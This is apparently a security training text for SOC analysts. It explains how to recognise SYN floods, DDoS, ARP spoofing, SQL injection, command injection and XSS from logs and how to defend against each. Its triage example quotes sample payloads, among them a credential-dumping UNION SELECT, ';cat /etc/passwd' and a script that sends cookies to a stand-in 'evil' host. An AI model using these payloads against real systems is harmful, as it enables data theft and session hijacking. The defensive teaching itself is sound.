2.4Network attacks and web application attacks

For a SOC analyst, attack names are not memorization items but labels for reading "which attack is this?" from characteristics left in evidence (logs, pcaps, HTTP requests). Even for the same "the server is unresponsive," whether it is a flood of half-formed connection requests or a single malicious request changes both the attack and the remedy. This section organizes network-layer attacks (protocol abuse, DoS/DDoS, MITM) and web attacks that abuse application-layer input (SQLi, command injection, XSS) from the perspective of identification by trace.

2.4.1Network attacks

• Protocol-based attacks exploit weaknesses in a protocol's spec or state machine. Example: a SYN flood creates masses of mid-handshake states (SYN received -> SYN/ACK sent -> no ACK), exhausting the server's connection table. In a pcap the hallmark is many SYNs with half-open connections never reaching ESTABLISHED.
• DoS (denial of service) exhausts resources from one (or few) sources to block legitimate use. DDoS (distributed) does so simultaneously from many distributed sources (often a botnet), and the essential difference is that blocking a single IP does not stop it. In logs, simultaneous heavy access from many different source IPs signals DDoS. Mitigation: rate limiting, upstream scrubbing, Anycast distribution.
• A man-in-the-middle (MITM) attack inserts into the path to eavesdrop, tamper, or impersonate. On a LAN, ARP spoofing (a forged ARP reply presenting the attacker as the default gateway) hijacks the path—typical. Signs: one IP mapping to multiple MACs or the gateway MAC suddenly changing. Defenses: Dynamic ARP Inspection (DAI), encryption, certificate validation (linking to s6).

2.4.2Web application attacks

• SQL injection (SQLi) injects SQL fragments into inputs to make the DB run unintended queries. The trace is SQL syntax appearing in input or URLs—' OR '1'='1, UNION SELECT, -- (comment). It leads to auth bypass, data theft, or tampering. Defenses: parameterized queries (prepared statements) and input validation.
• Command injection targets where a web app passes input to an OS command, using ;, |, or && to inject additional OS commands. The trace is shell syntax in input like ; cat /etc/passwd or | whoami. It is high-severity because arbitrary commands run on the server. Defenses: input sanitization and avoiding/restricting command execution.
• Cross-site scripting (XSS) injects a malicious script (usually JavaScript) into a web page so it runs in another user's browser (cookie theft, session hijack, etc.). The trace is <script> or onerror= in inputs/parameters reflected back into the page. Unlike SQLi, which targets the server-side DB, XSS targets other users (the client side)—the essential difference. Defenses: output encoding and a Content Security Policy (CSP).

You are triaging web-server access logs. Entry 1: a request GET /product?id=10' OR '1'='1 made the product API—normally returning a few rows—return an abnormally large number of rows, immediately followed by UNION SELECT username,password FROM users--. This is SQL injection: the attacker runs unauthorized queries straight against the DB to steal credentials—the target is the server-side DB. Response: block the parameter, refactor to parameterized queries, and assess the leaked scope. Entry 2: GET /search?q=<script>document.location='http://evil/?c='+document.cookie</script> was reflected (echoed) into the search-results page as-is. This is XSS, targeting not the DB but the browser of other users who view this page—making them send their cookie to the attacker's site to hijack the session. Even if the trace resembles SQLi, you identify XSS because <script> is returned and executes on the other user's side. Entry 3: GET /ping?host=8.8.8.8;cat /etc/passwd appends an OS command via ; to a ping tool's input—command injection, the most dangerous class since arbitrary commands run on the server. For the same "suspicious request," the crux of triage is separating attacks by the injected syntax (SQL syntax, <script>, or shell ;/|) and where it executes (the DB, another user's browser, or the server OS). Meanwhile, a separate alert showed simultaneous heavy requests from many different source IPs rendering the server unresponsive. That is a DDoS that a single-IP block will not stop, fundamentally different from input-abuse web attacks (SQLi, etc.) and requiring rate limiting, upstream scrubbing, and distribution. Misidentifying the attack throws off the entire response, so reading traces apart is triage itself.

2.4.3Section summary

• Protocol attacks (SYN flood) show mass half-open connections, DoS/DDoS exhaust resources, and DDoS's many distributed sources defeat single-IP blocking
• A MITM hijacks the path via ARP spoofing (one IP, multiple MACs); defend with encryption, DAI, and certificate validation
• Identify web attacks by injected syntax and execution locus: SQLi hits the server DB, command injection the server OS, and XSS other users' browsers